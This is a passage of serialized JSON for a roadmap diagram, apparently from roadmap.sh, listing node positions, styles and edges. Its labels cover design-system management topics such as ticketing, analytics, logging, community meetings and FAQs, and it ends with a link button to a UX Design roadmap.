true,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -24.638187271993502,\n        \"y\": 2431.4551467174065\n      }\n    },\n    {\n      \"id\": \"POeLL32wtfV3SmBcVWzy6\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 76.8618127280065,\n        \"y\": 2439.7548214022336\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Task Management\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"oldId\": \"TM0coCBRbsUVXRNb--KnY\"\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": {\n        \"width\": 158,\n        \"height\": 38\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 158,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": 76.8618127280065,\n        \"y\": 2439.7548214022336\n      }\n    },\n    {\n      \"id\": \"gMrX5600JqFDplriq-eU3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -9.638187271993502,\n        \"y\": 2482.2548214022336\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Roadmap\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"xYqDmDpjwkShtL86nt-vY\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 110,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -9.638187271993502,\n        \"y\": 2482.2548214022336\n      }\n    },\n    {\n      \"id\": \"ruPXxVwmD9vSlS7rBZmA-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 104.3618127280065,\n        \"y\": 2482.2548214022336\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Milestones\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"uO-2O0Jwh_DxrMAB9wxp1\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 114,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 104.3618127280065,\n        \"y\": 2482.2548214022336\n      }\n    },\n    {\n      \"id\": \"i39J0fk4DaPeNFIMbH0ap\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 222.3618127280065,\n        \"y\": 2482.2548214022336\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Ticketing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"CYY6nbQiC2pu5ATWmO6wA\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 118,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 222.3618127280065,\n        \"y\": 2482.2548214022336\n      }\n    },\n    {\n      \"id\": \"ZnwVo1kqK9awZCwFd2Vti\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 113.8618127280065,\n        \"y\": 2549.2548214022336\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Analytics\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"oldId\": \"TM0coCBRbsUVXRNb--KnY\"\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": {\n        \"width\": 84,\n        \"height\": 38\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 84,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": 113.8618127280065,\n        \"y\": 2549.2548214022336\n      }\n    },\n    {\n      \"id\": \"G8dOkM_4hP7wPF3QJ8y4g\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -10.31750693044279,\n        \"y\": 2601.2548214022336\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Component Analytics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5znnOkpf9G9tdiMWB6Rut\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 223,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -10.31750693044279,\n        \"y\": 2601.2548214022336\n      }\n    },\n    {\n      \"id\": \"xYqDmDpjwkShtL86nt-vY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 219.6824930695572,\n        \"y\": 2601.2548214022336\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Logging\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ccpT9MPFbc3Ewjm1tFMsZ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 117,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 219.6824930695572,\n        \"y\": 2601.2548214022336\n      }\n    },\n    {\n      \"id\": \"qiJGYYWL4naJX-MgZA9Ms\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -10.31750693044279,\n        \"y\": 2654.2548214022336\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Tooling Analytics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cpAeotBxN8BCsU9RqTEue\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 347,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -10.31750693044279,\n        \"y\": 2654.2548214022336\n      }\n    },\n    {\n      \"id\": \"5znnOkpf9G9tdiMWB6Rut\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -10.31750693044279,\n        \"y\": 2707.2548214022336\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Service and Health Metrics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"xYqDmDpjwkShtL86nt-vY\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 347,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -10.31750693044279,\n        \"y\": 2707.2548214022336\n      }\n    },\n    {\n      \"id\": \"TM0coCBRbsUVXRNb--KnY\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 108.33384908709439,\n        \"y\": 2779.4551467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Communications\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"oldId\": \"NC75JWJMKXeQB2fTo0ZQJ\"\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": {\n        \"width\": 144,\n        \"height\": 38\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 144,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": 108.33384908709439,\n        \"y\": 2779.4551467174065\n      }\n    },\n    {\n      \"id\": \"eG8ranXuINtcqWfeMH5GW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -9.638187271993502,\n        \"y\": 2819.4551467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Community Meetings\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cpAeotBxN8BCsU9RqTEue\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 347,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -9.638187271993502,\n        \"y\": 2819.4551467174065\n      }\n    },\n    {\n      \"id\": \"LWrrKrhwXfMDKgbFW5DuO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -9.638187271993502,\n        \"y\": 2872.4551467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Communication Channel\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cpAeotBxN8BCsU9RqTEue\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 347,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -9.638187271993502,\n        \"y\": 2872.4551467174065\n      }\n    },\n    {\n      \"id\": \"YWoPoO9IW3vLZyxLL2fnT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -9.638187271993502,\n        \"y\": 2925.4551467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Open Hours\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cpAeotBxN8BCsU9RqTEue\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 240,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -9.638187271993502,\n        \"y\": 2925.4551467174065\n      }\n    },\n    {\n      \"id\": \"cpAeotBxN8BCsU9RqTEue\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 236.6824930695572,\n        \"y\": 2925.4551467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"FAQs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5znnOkpf9G9tdiMWB6Rut\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 100,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 236.6824930695572,\n        \"y\": 2925.4551467174065\n      }\n    },\n    {\n      \"width\": 380,\n      \"height\": 49,\n      \"id\": \"f5WRewBlpeYMf71cPcXs-\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -304.62298223659093,\n        \"y\": 2938.4551467174065\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"UX Design\",\n        \"href\": \"https://roadmap.sh/ux-design\",\n        \"color\": \"#FFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"StxLh1r3qXqyRSqfJGird\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -304.62298223659093,\n        \"y\": 2938.4551467174065\n      },\n      \"style\": {\n        \"width\": 380,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 187,\n        \"height\": 49\n      }\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"HU7wZWiES3m3xl1-NYP6F\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"uvnV1IjE8RV-FKDxHntUU\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__HU7wZWiES3m3xl1-NYP6Fx2-08qKtgnhJ3tlb5JKfTDf5w1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"uvnV1IjE8RV-FKDxHntUU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"2rlmLn_yQQV-7DpX1qT98\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__4U-HZQGH7kaWCB94Xy8Mhz2-2rlmLn_yQQV-7DpX1qT98y2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"uvnV1IjE8RV-FKDxHntUU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"4PrkkoZ5fY-oow0O-bVhu\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__4U-HZQGH7kaWCB94Xy8Mhz2-cMfsRtvzvDZZJ0TqeUOxmy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"uvnV1IjE8RV-FKDxHntUU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"J5mU0v491qrm-mr1W3Msd\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__4U-HZQGH7kaWCB94Xy8Mhz2-VhSEH_RoWFt1z2lial7xZy2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"uvnV1IjE8RV-FKDxHntUU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"6r9XbwlBtHmJrhviG2cTD\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__JfXwzkN29UGz17FYHHE3Az2-6r9XbwlBtHmJrhviG2cTDy2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"uvnV1IjE8RV-FKDxHntUU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"_3_tFOpQisx6DSP4Yc2E2\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__JfXwzkN29UGz17FYHHE3Az2-ODQ8zrHc2rsc8PN-APKvzy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"uvnV1IjE8RV-FKDxHntUU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"hauTvrBOAHgrUnO_m_kDM\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__JfXwzkN29UGz17FYHHE3Az2-ODQ8zrHc2rsc8PN-APKvzy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"uvnV1IjE8RV-FKDxHntUU\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"de0TKvmFTDmKGZc5X7iFq\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__uvnV1IjE8RV-FKDxHntUUx2-JfXwzkN29UGz17FYHHE3Aw2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"de0TKvmFTDmKGZc5X7iFq\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"97cpJyKBKNAq1P_pQZH-t\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__JfXwzkN29UGz17FYHHE3Ay2-97cpJyKBKNAq1P_pQZH-tz2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"vJ4WytrzY7j10mo8S3O1u\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"de0TKvmFTDmKGZc5X7iFq\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__vJ4WytrzY7j10mo8S3O1uz2-JfXwzkN29UGz17FYHHE3Ay1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"de0TKvmFTDmKGZc5X7iFq\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"fPUuXrlchna3K00KcY4O6\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__JfXwzkN29UGz17FYHHE3Ay2-fPUuXrlchna3K00KcY4O6z1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"kifE3JE2immnU1O3-toZf\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"de0TKvmFTDmKGZc5X7iFq\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__kifE3JE2immnU1O3-toZfz2-JfXwzkN29UGz17FYHHE3Ay1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"de0TKvmFTDmKGZc5X7iFq\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"mlBzJ2YvBr9QuOthKdj0p\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__JfXwzkN29UGz17FYHHE3Ay2-mlBzJ2YvBr9QuOthKdj0pz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"de0TKvmFTDmKGZc5X7iFq\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"7xPT8rUX3hjSWbxH_FfQs\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__JfXwzkN29UGz17FYHHE3Ay2-7xPT8rUX3hjSWbxH_FfQsz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"4dzoZmkNHPedgLqLy93t8\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"de0TKvmFTDmKGZc5X7iFq\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__4dzoZmkNHPedgLqLy93t8z2-JfXwzkN29UGz17FYHHE3Ay2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jETJVuS_EczJiQASLqaQr\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"de0TKvmFTDmKGZc5X7iFq\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__jETJVuS_EczJiQASLqaQrz2-JfXwzkN29UGz17FYHHE3Ay1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"lUObv2N7eH3Jdnwwd5vmI\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"de0TKvmFTDmKGZc5X7iFq\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__cMfsRtvzvDZZJ0TqeUOxmz2-JfXwzkN29UGz17FYHHE3Ay1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"de0TKvmFTDmKGZc5X7iFq\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"dUaoMARPabiD4DRqdkaer\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__de0TKvmFTDmKGZc5X7iFqx2-JfXwzkN29UGz17FYHHE3Aw1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"dUaoMARPabiD4DRqdkaer\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"-9I3fTpnQlmcZmIIuQiPe\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__JfXwzkN29UGz17FYHHE3Az2--9I3fTpnQlmcZmIIuQiPey1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"dUaoMARPabiD4DRqdkaer\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"z5gBy7BjlBKwbYbxXtoDA\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__JfXwzkN29UGz17FYHHE3Az2-ODQ8zrHc2rsc8PN-APKvzy2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"dUaoMARPabiD4DRqdkaer\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"8eWhvW2zDIxMGHaXl0Y9i\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__dUaoMARPabiD4DRqdkaerx2-JfXwzkN29UGz17FYHHE3Aw1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"8eWhvW2zDIxMGHaXl0Y9i\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"ILRDAnpfGHCZq-FBlbfDO\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__JfXwzkN29UGz17FYHHE3Ay2-ILRDAnpfGHCZq-FBlbfDOz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"8eWhvW2zDIxMGHaXl0Y9i\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"pRJ9wEPNfFx_6EYB501vk\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__JfXwzkN29UGz17FYHHE3Ay2-pRJ9wEPNfFx_6EYB501vkz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"8eWhvW2zDIxMGHaXl0Y9i\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"-b4GjLpL_ppDMJSiChTef\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__JfXwzkN29UGz17FYHHE3Ay2-cMfsRtvzvDZZJ0TqeUOxmz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"zSv63LkcNpHjAMB4eZewE\",\n      \"sourceHandle\": \"x2\",\n      